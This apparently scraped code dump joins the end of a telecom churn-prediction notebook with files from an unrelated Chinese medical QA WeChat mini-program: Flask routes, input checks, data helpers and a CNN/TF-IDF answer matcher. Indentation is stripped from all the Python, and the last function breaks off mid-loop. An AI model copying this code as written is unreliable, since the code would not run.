# ### From the curve above, 0.55 is the optimum point to take it as a cutoff probability.
# In[115]:
y_train_pred_final['final_predicted'] = y_train_pred_final.Churn_Prob.map( lambda x: 1 if x > 0.55 else 0)
y_train_pred_final.head()
# In[116]:
# Checking the overall accuracy.
metrics.accuracy_score(y_train_pred_final.Churn, y_train_pred_final.final_predicted)
# In[117]:
confusion2 = metrics.confusion_matrix(y_train_pred_final.Churn, y_train_pred_final.final_predicted )
confusion2
# # The sensitivity is around 84% on an average which is acceptable
# In[119]:
col
# # Making Predictions
# In[120]:
# Running the model using the selected variables
log_reg_2 = LogisticRegression(random_state=50)
log_reg_2.fit(X_train_balanced[col], y_train_balanced)
# In[121]:
y_log_reg_2_train_prediction = log_reg_2.predict(X_train_balanced[col])
log_reg_2_confusion_matrix = metrics.confusion_matrix(y_train_balanced, y_log_reg_2_train_prediction)
# In[122]:
print(log_reg_2_confusion_matrix)
print(metrics.classification_report(y_train_balanced, y_log_reg_2_train_prediction))
# ### Even with the same attributes which we got from the stats model and using that for logistics regression, the values like sensitivity and accuracy is good
# In[123]:
X_test[col].head()
# In[124]:
# Predicted probabilities
y_pred = log_reg_2.predict_proba(X_test[col])
# Converting y_pred to a dataframe which is an array
y_pred_df = pd.DataFrame(y_pred)
# Converting to column dataframe
y_pred_1 = y_pred_df.iloc[:,[1]]
# Let's see the head
y_pred_1.head()
# In[125]:
# Converting y_test to dataframe
y_test_df = pd.DataFrame(y_test).copy()
y_test_df.head()
# In[126]:
y_pred_1.reset_index(drop=True, inplace=True)
y_test_df.reset_index(drop=True, inplace=True)
# Appending y_test_df and y_pred_1
y_pred_final = pd.concat([y_test_df,y_pred_1],axis=1)
# Renaming the column
y_pred_final= y_pred_final.rename(columns={ 1 : 'Churn_Prob'})
# Rearranging the columns
#y_pred_final = y_pred_final.reindex_axis(['churn','Churn_Prob'], axis=1)
# Let's see the head of y_pred_final
y_pred_final.head()
# In[ ]:
# ## Creating new column 'predicted' with 1 if Churn_Prob>0.55 else 0 as taken from the results from the train ddata
# In[127]:
y_pred_final['predicted'] = y_pred_final.Churn_Prob.map( lambda x: 1 if x > 0.55 else 0)
# Let's see the head
y_pred_final.head()
# # Model Evaluation
# In[ ]:
# In[128]:
from sklearn import metrics
import matplotlib.pyplot as plt
import seaborn as sns
# In[129]:
# Confusion matrix
print(metrics.confusion_matrix( y_pred_final.churn, y_pred_final.predicted ))
print(metrics.classification_report(y_pred_final.churn, y_pred_final.predicted))
# In[130]:
# Checking the overall accuracy.
metrics.accuracy_score(y_pred_final.churn, y_pred_final.predicted)
# In[131]:
# Drawing the ROC curve
def draw_roc( actual, probs ):
fpr, tpr, thresholds = metrics.roc_curve( actual, probs,
drop_intermediate = False )
auc_score = metrics.roc_auc_score( actual, probs )
plt.figure(figsize=(6, 6))
plt.plot( fpr, tpr, label='ROC curve (area = %0.2f)' % auc_score )
plt.plot([0, 1], [0, 1], 'k--')
plt.xlim([0.0, 1.0])
plt.ylim([0.0, 1.05])
plt.xlabel('False Positive Rate or [1 - True Negative Rate]')
plt.ylabel('True Positive Rate')
plt.title('Receiver operating characteristic example')
plt.legend(loc="lower right")
plt.show()
return fpr, tpr, thresholds
# In[132]:
draw_roc(y_pred_final.churn, y_pred_final.predicted)
# In[133]:
"{:2.2f}".format(metrics.roc_auc_score(y_pred_final.churn, y_pred_final.Churn_Prob))
# In[ ]:
# ## We see that we can good recall and accuracy here with the test data. So, our model is acceptable for the data we have
# In[ ]:
# # Inferences from the Logistic Regression with rfe and statsmodel
# ## Accuracy is around 80%. The aim of above model is to find out most number of the churners. So, the model was more focussed on accuracy as well as good sensitivity/recall. Our model achieved that goal. We achieved a good sensitivity with good percentage for other important parameters.
# ## We created 2 models and the features accordingly are mentioned below:
# In[ ]:
### Model here
# # PCA on the data
# In[ ]:
# In[137]:
X_train_balanced.shape
# In[138]:
# Improting the PCA module
from sklearn.decomposition import PCA
pca = PCA(svd_solver='randomized', random_state=42)
# In[139]:
#Doing the PCA on the train data
pca.fit(X_train_balanced)
# In[ ]:
# # Plotting the principal components
# In[140]:
pca.components_
# In[141]:
# The variance explained
# In[142]:
pca.explained_variance_ratio_
# In[143]:
colnames = list(X_train_balanced.columns)
pca_df = pd.DataFrame({'PC1':pca.components_[0],'PC2':pca.components_[1], 'Feature':colnames})
pca_df.head()
# In[144]:
get_ipython().run_line_magic('matplotlib', 'inline')
fig = plt.figure(figsize = (8,8))
plt.scatter(pca_df.PC1, pca_df.PC2)
plt.xlabel('Principal Component 1')
plt.ylabel('Principal Component 2')
for i, txt in enumerate(pca_df.Feature):
plt.annotate(txt, (pca_df.PC1[i],pca_df.PC2[i]))
plt.tight_layout()
plt.show()
# In[145]:
pca.explained_variance_ratio_
# In[146]:
# Making the screeplot - plotting the cumulative variance against the number of components
fig = plt.figure(figsize = (12,8))
plt.plot(np.cumsum(pca.explained_variance_ratio_))
plt.xlabel('number of components')
plt.ylabel('cumulative explained variance')
plt.show()
# In[ ]:
# ### We will chose 30 components as they explain 90% of the variance in the dataset
# In[ ]:
# In[147]:
# Using incremental PCA for efficiency - saves a lot of time on larger datasets
from sklearn.decomposition import IncrementalPCA
pca_final = IncrementalPCA(n_components=30)
# ## Basis transformation - getting the data onto our PCs
# In[148]:
df_train_pca = pca_final.fit_transform(X_train_balanced)
df_train_pca.shape
# In[149]:
pca_final.components_
# In[150]:
colnames = list(X_train_balanced.columns)
pca_df_2 = pd.DataFrame({'PC1':pca_final.components_[0],'PC2':pca_final.components_[1], 'Feature':colnames})
pca_df_2.head(20)
# In[ ]:
# ## Creating correlation matrix for the principal components - we expect little to no correlation
# In[151]:
#creating correlation matrix for the principal components
corrmat = np.corrcoef(df_train_pca.transpose())
# In[152]:
#plotting the correlation matrix
#%matplotlib inline
plt.figure(figsize = (20,10))
sns.heatmap(corrmat,annot = True)
# In[153]:
# 1s -> 0s in diagonals
corrmat_nodiag = corrmat - np.diagflat(corrmat.diagonal())
print("max corr:",corrmat_nodiag.max(), ", min corr: ", corrmat_nodiag.min(),)
# we see that correlations are indeed very close to 0
# ### There seems to be no correlation here
# In[154]:
#Applying selected components to the test data - 16 components
df_test_pca = pca_final.transform(X_test)
df_test_pca.shape
# ## Applying a logistic regression on our Principal Components
# In[155]:
#Training the model on the train data
learner_pca = LogisticRegression(C=1e9)
model_pca = learner_pca.fit(df_train_pca,y_train_balanced)
# # Making prediction on test data
# In[156]:
y_pred_pca = learner_pca.predict(df_test_pca)
df_y_pred_pca = pd.DataFrame(y_pred_pca)
print(confusion_matrix(y_test,y_pred_pca))
print("Accuracy with Logistic Regression using PCA for 30 features:",metrics.accuracy_score(y_test,y_pred_pca))
# In[157]:
#Making prediction on the test data
pred_probs_test = model_pca.predict_proba(df_test_pca)[:,1]
#print(metrics.roc_auc_score(y_test, pred_probs_test))
# In[158]:
pred_probs_test
# In[159]:
"{:2.2}".format(metrics.roc_auc_score(y_test, pred_probs_test))
# #### Trying out the automatic feature selection for PCA
# In[160]:
pca_again = PCA(0.85)
# In[161]:
df_train_pca2 = pca_again.fit_transform(X_train_balanced)
df_train_pca2.shape
# we see that PCA selected 14 components
# In[162]:
#training the regression model
learner_pca2 = LogisticRegression()
model_pca2 = learner_pca2.fit(df_train_pca2,y_train_balanced)
# In[163]:
df_test_pca2 = pca_again.transform(X_test)
df_test_pca2.shape
# In[164]:
#Making prediction on the test data
pred_probs_test2 = model_pca2.predict_proba(df_test_pca2)[:,1]
"{:2.2f}".format(metrics.roc_auc_score(y_test, pred_probs_test2))
# In[ ]:
# In[165]:
get_ipython().run_line_magic('matplotlib', 'inline')
fig = plt.figure(figsize = (8,8))
plt.scatter(df_train_pca[:,0], df_train_pca[:,1], c = y_train_balanced['churn'].map({0:'green',1:'red'}))
plt.xlabel('Principal Component 1')
plt.ylabel('Principal Component 2')
plt.tight_layout()
plt.show()
# In[ ]:
# # Results after Logistic Regression using PCA:
# ## We have a good result here. We have a accuracy of 81% with a good sensitivity score
# In[ ]:
# # RFE with Logistics Regression and stats model has been tried out.
# # PCA with logistics regression has been tried out
# # Trying out a decision tree model
# In[166]:
from sklearn.ensemble import RandomForestClassifier
from sklearn.tree import DecisionTreeClassifier
# In[167]:
random_forest_classifier = RandomForestClassifier()
random_forest_classifier.fit(X_train, y_train)
# In[168]:
df_random_forest_preds = random_forest_classifier.predict(X_test)
# In[169]:
print(metrics.classification_report(y_test,df_random_forest_preds))
print(metrics.confusion_matrix(y_test, df_random_forest_preds))
print(metrics.accuracy_score(y_test, df_random_forest_preds))
# # The default parameters are not giving good result for sensitivity
# # Hyperparameters Tuning
# In[170]:
X_train.shape
# ### Tuning max_depth
# In[171]:
# GridSearchCV to find optimal n_estimators
from sklearn.model_selection import KFold
from sklearn.model_selection import GridSearchCV
# specify number of folds for k-fold CV
n_folds = 5
# parameters to build the model on
parameters = {'max_depth': range(2, 20, 5)}
# instantiate the model
rf = RandomForestClassifier()
# fit tree on training data
rf = GridSearchCV(rf, parameters,
cv=n_folds,
scoring="recall", return_train_score=True)
rf.fit(X_train, y_train)
# In[172]:
# scores of GridSearch CV
scores = rf.cv_results_
pd.DataFrame(scores).head()
# In[173]:
# plotting accuracies with max_depth
plt.figure()
plt.plot(scores["param_max_depth"],
scores["mean_train_score"],
label="training sensitivity")
plt.plot(scores["param_max_depth"],
scores["mean_test_score"],
label="test sensitivity")
plt.xlabel("max_depth")
plt.ylabel("Recall")
plt.legend()
plt.show()
# ### WE see above that after a point, the model tries to overfit.
# In[ ]:
# ## Tuning n_estimators
# In[174]:
# Deliberately commented out the following code after running it once
# In[175]:
# GridSearchCV to find optimal n_estimators
#from sklearn.model_selection import KFold
#from sklearn.model_selection import GridSearchCV
# specify number of folds for k-fold CV
#n_folds = 5
# parameters to build the model on
#parameters = {'n_estimators': range(100, 1500, 400)}
#rf = RandomForestClassifier(max_depth=4)
# fit tree on training data
#rf = GridSearchCV(rf, parameters,
# cv=n_folds,
# scoring="accuracy" , return_train_score=True)
#rf.fit(X_train, y_train)
# In[176]:
# scores of GridSearch CV
#scores = rf.cv_results_
#pd.DataFrame(scores).head()
# In[177]:
# plotting accuracies with n_estimators
#plt.figure()
#plt.plot(scores["param_n_estimators"],
# scores["mean_train_score"],
# label="training accuracy")
#plt.plot(scores["param_n_estimators"],
# scores["mean_test_score"],
# label="test accuracy")
#plt.xlabel("n_estimators")
#plt.ylabel("Accuracy")
#plt.legend()
#plt.show()
#
# ## Tuning max_features
# In[178]:
# GridSearchCV to find optimal max_features
from sklearn.model_selection import KFold
from sklearn.model_selection import GridSearchCV
# specify number of folds for k-fold CV
n_folds = 5
# parameters to build the model on
parameters = {'max_features': [4, 8, 14, 20, 24]}
# instantiate the model
rf = RandomForestClassifier(max_depth=4)
# fit tree on training data
rf = GridSearchCV(rf, parameters,
cv=n_folds,
scoring="recall",return_train_score=True)
rf.fit(X_train, y_train)
# In[179]:
# scores of GridSearch CV
scores = rf.cv_results_
pd.DataFrame(scores).head()
# In[180]:
# plotting accuracies with max_features
plt.figure()
plt.plot(scores["param_max_features"],
scores["mean_train_score"],
label="training sensitivity")
plt.plot(scores["param_max_features"],
scores["mean_test_score"],
label="test sensitivity")
plt.xlabel("max_features")
plt.ylabel("Sensitivity")
plt.legend()
plt.show()
# # 15 can be a good number of features here
# In[181]:
# Create the parameter grid based on the results of random search
param_grid = {
'max_depth': [6,8],
'max_features': [10, 15]
}
# Create a based model
rf = RandomForestClassifier()
# Instantiate the grid search model
grid_search = GridSearchCV(estimator = rf, param_grid = param_grid,
cv = 3, n_jobs = -1,verbose = 1, return_train_score=True)
# In[182]:
grid_search.fit(X_train, y_train)
# In[183]:
print('We can get accuracy of',grid_search.best_score_,'using',grid_search.best_params_)
# In[184]:
# Create the parameter grid based on the results of random search
param_grid = {
'max_depth': [6],
'max_features': [15]
}
# Create a based model
rf = RandomForestClassifier()
# Instantiate the grid search model
grid_search = GridSearchCV(estimator = rf, param_grid = param_grid,
cv = 3, n_jobs = -1,verbose = 1, return_train_score=True, scoring='recall')
# In[185]:
grid_search.fit(X_train, y_train)
# In[186]:
# scores of GridSearch CV
scores = grid_search.cv_results_
pd.DataFrame(scores).head()
# In[187]:
print('We can get sensitivity of',grid_search.best_score_,'using',grid_search.best_params_)
# In[188]:
# model with the best hyperparameters
from sklearn.ensemble import RandomForestClassifier
rfc = RandomForestClassifier(bootstrap=True,
max_depth=6,
max_features=15,
)
# In[189]:
rfc.fit(X_train,y_train)
# In[190]:
predictions = rfc.predict(X_test)
# In[191]:
# evaluation metrics
from sklearn.metrics import classification_report,confusion_matrix
# In[192]:
print(classification_report(y_test,predictions))
# In[193]:
print(confusion_matrix(y_test,predictions))
# # Trying out with the features obtained from the rfe and statsmodel
# In[194]:
col
# In[195]:
# Importing random forest classifier from sklearn library
from sklearn.ensemble import RandomForestClassifier
# Running the random forest with default parameters.
rfc = RandomForestClassifier()
# In[196]:
# fit
rfc.fit(X_train[col],y_train)
# In[197]:
# Making predictions
predictions = rfc.predict(X_test[col])
# In[198]:
# Let's check the report of our default model
print(classification_report(y_test,predictions))
# In[199]:
print(confusion_matrix(y_test,predictions))
# In[ ]:
# # Trying out with the features obtained from the rfe
# In[200]:
col_rfe
# In[201]:
# Importing random forest classifier from sklearn library
from sklearn.ensemble import RandomForestClassifier
# Running the random forest with default parameters.
rfc = RandomForestClassifier()
# In[202]:
# fit
rfc.fit(X_train[col_rfe],y_train)
# In[203]:
# Making predictions
predictions = rfc.predict(X_test[col_rfe])
# In[204]:
# Let's check the report of our default model
print(classification_report(y_test,predictions))
# In[205]:
print(confusion_matrix(y_test,predictions))
# ### Clearly decision is not something we should consider here if we are looking for good recall
# ### It is observed that the decision can provide us good measure of accuracy but it has poor sensitivity percentage
# In[ ]:
# # Final results
# ### We aimed to have good percentage of sensitivity/recall as per the usecase.
# ## Models tried:
# * Logistics regression with rfe and statsmodel
# * Logistics regression with PCA
# * Random forests
# * Random forests with RFE
# ### Random is not a good choice here. Although random forest have good accuracy but it lacks in sensitivity percentage which is not ideal for our scenario
# ## The model logistic regression with rfe and statsModel and Logistics Regression with PCA
# ### The most important parameters which drives the churn are:
# ##### fields here
#
# ##### The features above are the combination of many models. 4 of which is listed in the cell after the logistic regression with rfe.
# ##### The exact features in each of the model can be referenced from the cell after the logistic regression with rfe above.
# ## Inferences:
# ## The following actions drives the whole telecom data with the possible reasons for churning??
#
#
# # The factors from the other operators which can influence the churn:
# * Low local call rates
# * Low std call rates
# * Low charges for facebook and internet packs
# * Low speed for internet
# # Strategies to reduce churn:
#
# * Give offers and discounts to users on the usage basis
# * Provide special packs and discounts for users with high call numbers within the same network
# * Provide special packs and discounts for users with high call numbers outside the network
# * Provide good data packs for the users of high usage
# * Make sure that the customer service is good
# In[ ]:
| ca0db055b7500693f0875457b170e242232f2e05 | [
"Python"
] | 1 | Python | bajaj-gaurav/telecom_churn_machine_learning | 4710c0ec930e806ad91d44d4a4aae090fd19196d | 4258a04ac02dc4fb51e8bfa709772096a2e7fe3f |
refs/heads/master | <file_sep># -*- encoding:utf-8 -*-
import string
import re
# 有效性检查函数
class Check(object):
def __init__(self):
# 有效长度
self.alphas = string.letters
self.nums = nums = string.digits
self.zhPattern = re.compile(u'[\u4e00-\u9fa5]+')
def valid_input(self,str,str_length=5,max_str=100,include_num = True,include_eng=True,include_chn = True):
if len(str) < str_length or len(str) > max_str:
return False
if not include_num:
for num in self.nums:
if num in str:
return False
if not include_eng:
for e in self.alphas:
if e in str:
return False
if not include_chn:
match = self.zhPattern.search(str)
if match:
return False
return True
def valid_cn(self,str,str_length=5,max_str=100):
match = self.zhPattern.search(str)
return match and len(str)>=str_length and len(str) <= max_str
<file_sep># -*- encoding:utf-8 -*-
from flask import Flask
from flask import request,jsonify
from server import train_med
import re
import requests
appid = 'wx327191602fbc33e4'
appsecret = '<KEY>'
app = Flask(__name__)
global tfmodel
tfmodel = train_med.QA_MED()
tfmodel.model_built()
@app.route('/hello', methods=['POST'])
def hello():
global tfmodel
datax = request.form.to_dict()
return tfmodel.welcome_msg(datax['user_name'])
@app.route('/ask')
def ask():
global tfmodel
return tfmodel.ask_msg()
@app.route('/type')
def choose_type():
global tfmodel
return tfmodel.get_department()
@app.route('/get_qa',methods=['POST'])
def get_question():
global tfmodel
datax = request.form.to_dict()
openid = datax['openid']
key_option = int(datax['key_option'])-1
q_file = datax['q_file']
user = datax['user_name']
return tfmodel.get_similar_qa(key_option,q_file,user,openid)
@app.route('/return')
def back():
global tfmodel
return tfmodel.backToFirst()
@app.route('/error')
def error_msg():
return "说话太高深,健康小医生看不懂您的话,请重新输入"
@app.route('/user/getuserinfo',methods=['POST'])
def getuserinfo():
datax = request.form.to_dict()
code = datax['code'].encode('utf8')
url = 'https://api.weixin.qq.com/sns/jscode2session?appid=%s&secret=%s&js_code=%s&grant_type=authorization_code' % (appid, appsecret, code)
r = requests.get(url)
result = r.text
openid = re.sub('([{}"]*)','', result.split(':')[-1].encode('utf8'))
nickname = datax['nickname'].encode('utf8')
gender = datax['gender'].encode('utf8')
city = datax['city'].encode('utf8')
tfmodel.write_user_info(openid,nickname,gender,city)
return result
@app.route('/user/getgroup',methods=['POST'])
def getgroupinfo():
datax = request.form.to_dict()
openid = datax['openid'].encode('utf8')
session_key = datax['session_key'].encode('utf8')
en_data = datax['encryptedData'].encode('utf8')
iv = datax['iv'].encode('utf8')
share_type = datax['share_type'].encode('utf8')
tfmodel.get_send_group(openid,appid,appsecret,session_key,en_data,iv,share_type)
return 'ok'
if __name__ == '__main__':
#global tfmodel
app.run('0.0.0.0',port=5000)
<file_sep>// pages/share/share.js
var imageUtil = require('../../utils/util.js');
var shareImageURL = 'https://wx2.sinaimg.cn/mw690/67e28d21gy1fnpbpvfj88j20fo0ru773.jpg'
Page({
/**
* 页面的初始数据
*/
data: {
imagefirstsrc: '../../images/share_background_test.jpg',//图片链接
imagewidth: 0,//缩放后的宽
imageheight: 0,//缩放后的高
},
/**
* 生命周期函数--监听页面加载
*/
onLoad: function (options) {
},
/**
* 生命周期函数--监听页面初次渲染完成
*/
onReady: function () {
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
},
imageLoad: function (e) {
var imageSize = imageUtil.imageUtil(e)
this.setData({
imagewidth: imageSize.imageWidth,
imageheight: imageSize.imageHeight
})
},
saveImgToPhotosAlbumTap: function () {
wx.getSetting({
success: res => {
if (res.authSetting['scope.writePhotosAlbum']) {
// 已经授权,可以直接调用 getUserInfo 获取头像昵称,不会弹框
wx.downloadFile({
url: shareImageURL,
success: function (res) {
wx.saveImageToPhotosAlbum({
filePath: res.tempFilePath,
success: function (res) {
console.log(res)
wx.showToast({
title: '海报已保存至相册',
icon: 'success',
duration: 1000
})
},
fail: function (res) {
console.log(res)
console.log('fail')
}
})
},
fail: function () {
console.log('fail')
}
})
}
else{
wx.authorize({
scope: 'scope.writePhotosAlbum',
success(res) {
console.log('保存图片授权成功')
},
fail() {
wx.openSetting({
success: (res) => {
if (res.authSetting['scope.writePhotosAlbum']) {
console.log('开启权限成功')
}
}
})
}
})
}
}
})
},
preview:function(){
wx.previewImage({
urls: [shareImageURL],
})
}
})<file_sep># -*- encoding:utf-8 -*-
from __future__ import print_function
import numpy as np
import random
import re
empty_vector = []
for i in range(0, 100):
empty_vector.append(float(0.0))
onevector = []
for i in range(0, 10):
onevector.append(float(1))
zerovector = []
for i in range(0, 10):
zerovector.append(float(0))
def cleanMessage(message):
# Remove new lines within message
cleanedMessage = message.replace('\n',' ').lower()
# Deal with some weird tokens
#cleanedMessage = cleanedMessage.replace("\xc2\xa0", "")
# Remove punctuation
#cleanedMessage = re.sub('([!?.,?!:]*)','', cleanedMessage)
# Remove multiple spaces in message
cleanedMessage = re.sub(' +',' ', cleanedMessage)
return cleanedMessage
def build_vocab():
code = int(0)
vocab = {}
vocab[u'UNKNOWN'] = code
code += 1
openedFile = open('data/train.txt', 'r')
allLines = openedFile.readlines()
for ln in allLines:
comms = ln.split('|||')
question = cleanMessage(comms[0].decode('utf8'))
ans = cleanMessage(comms[1].decode('utf8'))
for word in question:
if word not in vocab:
vocab[word] =code
code += 1
for word in ans:
if word not in vocab:
vocab[word] =code
code += 1
vocab[u'FUCK'] = code+1
openedFile.close()
#openedFile = open('data/test.txt', 'r')
#allLines = openedFile.readlines()
#for ln in allLines:
# comms = ln.split('|||')
# question = cleanMessage(comms[0].decode('utf8'))
# ans = cleanMessage(comms[1].decode('utf8'))
# for word in question:
# if word not in vocab:
# vocab[word] =code
# code += 1
# for word in ans:
# if word not in vocab:
# vocab[word] =code
# code += 1
#openedFile.close()
print("总字数: ",code)
return vocab
def rand_qa(qalist):
index = random.randint(0, len(qalist) - 1)
return qalist[index]
def read_alist():
alist = []
openedFile = open('data/train.txt', 'r')
allLines = openedFile.readlines()
for line in allLines:
comms = line.decode('utf8').split('|||')
ans = comms[1].replace('\n','')
alist.append(ans)
print('read_alist done ......')
return alist
def vocab_plus_overlap(vectors, sent, over, size):
global onevector
global zerovector
oldict = {}
words = over.split('_')
if len(words) < size:
size = len(words)
for i in range(0, size):
if words[i] == '<a>':
continue
oldict[words[i]] = '#'
matrix = []
words = sent.split('_')
if len(words) < size:
size = len(words)
for i in range(0, size):
vec = read_vector(vectors, words[i])
newvec = vec.copy()
#if words[i] in oldict:
# newvec += onevector
#else:
# newvec += zerovector
matrix.append(newvec)
return matrix
def load_vectors():
vectors = {}
for line in open('data/vectors.nobin'):
items = line.strip().split(' ')
if (len(items) < 101):
continue
vec = []
for i in range(1, 101):
vec.append(float(items[i]))
vectors[items[0]] = vec
return vectors
def read_vector(vectors, word):
global empty_vector
if word in vectors:
return vectors[word]
else:
return empty_vector
#return vectors['</s>']
def load_train_and_vectors():
trainList = []
openedFile = open('data/train.txt', 'r')
allLines = openedFile.readlines()
for line in allLines:
#print(line)
comms = line.decode('utf8').replace('\n','').split('|||')
trainList.append(comms[1])
print('fininsh load train and vectors')
openedFile.close()
return trainList
def load_test_and_vectors(index):
testList = []
trainList = load_train_and_vectors()
openedFile = open('data/train.txt', 'r')
allLines = openedFile.readlines()
for line in allLines:
alist = []
#获得真实test回答
comms = line.decode('utf8').replace('\n','').split('|||')
testList.append(['1',comms[0],comms[1]])
openedFile.close()
#选一个来做预测, 制造虚假回答
finalList = []
print('make a predicton')
for id in testList:
if id[1].rstrip('w').strip().lower() == index.strip().lower():
finalList = [id]
break
#choice = rand_qa(test_List)
#finalList = [choice]
print('get the testList')
for num in range(15):
finalList.append(['0',finalList[0][1],rand_qa(trainList)])
vectors = load_vectors()
print('get the load_vectors finish')
return finalList, vectors
def read_raw():
raw = []
openedFile = open('data/train.txt', 'r')
allLines = openedFile.readlines()
for line in allLines:
comms = line.decode('utf8').replace('\n','').split('|||')
raw.append(comms)
return raw
def read_type_question():
type_q = {}
q_key = []
openedFile = open('data/answer.txt', 'r')
allLines = openedFile.readlines()
for line in allLines:
comms = line.decode('utf8').replace('\n','').split('|||')
illness = comms[0].split('-')[0] #只选一级科室
if illness not in type_q:
q_key.append(illness)
type_q[illness] = [comms[1]]
else:
type_q[illness].append(comms[1])
return q_key, type_q
def encode_sent(vocab, string, size):
x = []
words = string
str_len = len(words)
if str_len < size:
words += u'w'*(size-str_len)
for i in range(0, size):
if words[i] in vocab:
x.append(vocab[words[i]])
else:
x.append(vocab[u'UNKNOWN'])
return x
def load_data_6(vocab, alist, raw, size, seq_size=200):
x_train_1 = []
x_train_2 = []
x_train_3 = []
for i in range(0, size):
items = raw[random.randint(0, len(raw) - 1)]
nega = rand_qa(alist)
x_train_1.append(encode_sent(vocab, items[0], seq_size))
x_train_2.append(encode_sent(vocab, items[1], seq_size))
x_train_3.append(encode_sent(vocab, nega, seq_size))
return np.array(x_train_1), np.array(x_train_2), np.array(x_train_3)
def load_data_val_6(testList, vocab, index, batch, seq_size=200):
x_train_1 = []
x_train_2 = []
x_train_3 = []
for i in range(0, batch):
true_index = index + i
if (true_index >= len(testList)):
true_index = len(testList) - 1
items = testList[true_index]
x_train_1.append(encode_sent(vocab, items[1], seq_size))
x_train_2.append(encode_sent(vocab, items[2], seq_size))
x_train_3.append(encode_sent(vocab, items[2], seq_size))
return np.array(x_train_1), np.array(x_train_2), np.array(x_train_3)
def batch_iter(data, batch_size, num_epochs, shuffle=True):
data = np.array(data)
data_size = len(data)
num_batches_per_epoch = int(len(data)/batch_size) + 1
for epoch in range(num_epochs):
# Shuffle the data at each epoch
if shuffle:
shuffle_indices = np.random.permutation(np.arange(data_size))
shuffled_data = data[shuffle_indices]
else:
shuffled_data = data
for batch_num in range(num_batches_per_epoch):
start_index = batch_num * batch_size
end_index = min((batch_num + 1) * batch_size, data_size)
yield shuffled_data[start_index:end_index]
<file_sep># -*- encoding:utf-8 -*-
from server.qacnn import QACNN
from server.InputCheck import Check
from server.medSQL import qaSQL
import tensorflow as tf
import numpy as np
import re
import os
import time
import datetime
import operator
from server import insurance_qa_data_helpers
from gensim import corpora, models, similarities
import jieba
from server.WXBizDataCrypt import WXBizDataCrypt
# Config函数
class Config(object):
def __init__(self, vocab_size):
# 输入序列(句子)长度
self.sequence_length = 200
# 循环数
self.num_epochs = 100000
# batch大小
self.batch_size = 128
# 词表大小
self.vocab_size = vocab_size
# 词向量大小
self.embedding_size = 100
# 不同类型的filter,相当于1-gram,2-gram,3-gram和5-gram
self.filter_sizes = [1, 2, 3, 5]
# 隐层大小
self.hidden_size = 80
# 每种filter的数量
self.num_filters = 512
# L2正则化,未用,没啥效果
# 论文里给的是0.0001
self.l2_reg_lambda = 0.
# 弃权,未用,没啥效果
self.keep_prob = 1.0
# 学习率
# 论文里给的是0.01
self.lr = 0.005
# margin
# 论文里给的是0.009
self.m = 0.009
# 设定GPU的性质,允许将不能在GPU上处理的部分放到CPU
# 设置log打印
self.cf = tf.ConfigProto(allow_soft_placement=True, log_device_placement=False)
# 只占用20%的GPU内存
self.cf.gpu_options.per_process_gpu_memory_fraction = 0.2
class QA_MED(object):
def __init__(self):
# 数据准备:所有词汇及科室问题
self.vocab = insurance_qa_data_helpers.build_vocab()
self.q_key, self.type_q = insurance_qa_data_helpers.read_type_question()
# 配置文件
self.config = Config(len(self.vocab))
self.min_config = None
self.key_option = None
self.top_five = None
self.cnn = None
#获取输入校验
self.vi = Check()
#获取数据库执行
self.dbs = qaSQL()
self.sess = None
def dev_step(self,test_data,sess):
scoreList = list()
i = 0
while True:
x_test_1, x_test_2, x_test_3 = insurance_qa_data_helpers.load_data_val_6(test_data, self.vocab, i, self.config.batch_size)
feed_dict = {
self.cnn.q: x_test_1,
self.cnn.aplus: x_test_2,
self.cnn.aminus: x_test_3,
self.cnn.keep_prob: 1.0
}
batch_scores = self.sess.run([self.cnn.q_ap_cosine], feed_dict)
for score in batch_scores[0]:
scoreList.append(score)
i += self.config.batch_size
if i >= len(test_data):
break
return scoreList
###返回消息类函数
def welcome_msg(self,user_name):
#第一条打招呼信息
return '您好,'+str(user_name.encode('utf8'))+'。\n欢迎使用问诊小医生,\n任何健康问题都能问我哦!'
def get_department(self):
#获取不同科目
reply_text = '我们提供下列科室:\n'
for ix,txt in enumerate(self.q_key):
reply_text += str(ix+1) + ': ' + str(txt.encode('utf8')) + '\n'
#if (ix+1) % 2 == 0:
# reply_text += '\n'
return reply_text + '请输入【序号】选择病症科室'
def ask_msg(self):
#第一条打招呼信息
return '请输入您的健康问题,越详细越好哦'
def backToFirst(self):
#第一条打招呼信息
return '还有同症状问题?小医生随时待命。\n需要更换科室,请输入“科室”'
###处理模型类函数
def get_similar_qa(self, key_option, q_file, user_name,openid):
#根据用户输入科目,获取相应问题
#reply_text = '您是否要问:' + '\n'
if not self.vi.valid_cn(q_file):
return str(user_name.encode('utf8')) + ",问题可以更详细,不然小医生无法精确问诊哦", 400
que_type = self.q_key[int(key_option)]
que_data = self.type_q[que_type]
query = re.sub('[ ]+','', q_file)#open(querypath, 'r')
class MyCorpus(object):
def __iter__(self):
for line in que_data:
yield list(jieba.cut(line.replace('w','').replace('\n',''),HMM=False))
Corp = MyCorpus()
dictionary = corpora.Dictionary(Corp)
corpus = [dictionary.doc2bow(text) for text in Corp]
tfidf = models.TfidfModel(corpus)
corpus_tfidf = tfidf[corpus]
vec_bow = dictionary.doc2bow(list(jieba.cut(query)))
vec_tfidf = tfidf[vec_bow]
index = similarities.MatrixSimilarity(corpus_tfidf)
sims = index[vec_tfidf]
similarity = list(sims)
top_answer = que_data[similarity.index(max(similarity))]
#self.top_five = []
#while len(self.top_five)<5:
#self.top_five.append(que_data[similarity.index(max(similarity))])
#similarity.remove(max(similarity))
#for ix,txt in enumerate(self.top_five):
#reply_text += str(ix+1) + ': ' + str(txt.encode('utf8')) + '\n'
return self.train_similarity(top_answer,key_option,q_file,openid)
def train_similarity(self,user_question,key_option,origin_question,openid):
#key_option = raw_input("请选择病症科室:")
#q_file = raw_input("请输入您要的问题:").replace('\n','').lower()
#print('您是否要问:')
#option = raw_input("请输入您的选项:")
#user_question = self.top_five[int(option)]
#print('您的问题是: '+str(user_question.encode('utf8')))
print(user_question)
test_data,_ = insurance_qa_data_helpers.load_test_and_vectors(user_question)
print('get test_data')
scoreList = self.dev_step(test_data,self.sess)
print('get scoreList')
max_num = float('-inf')
for idx, p in enumerate(test_data):
if scoreList[idx] > max_num:
ans = p[2]
max_num = scoreList[idx]
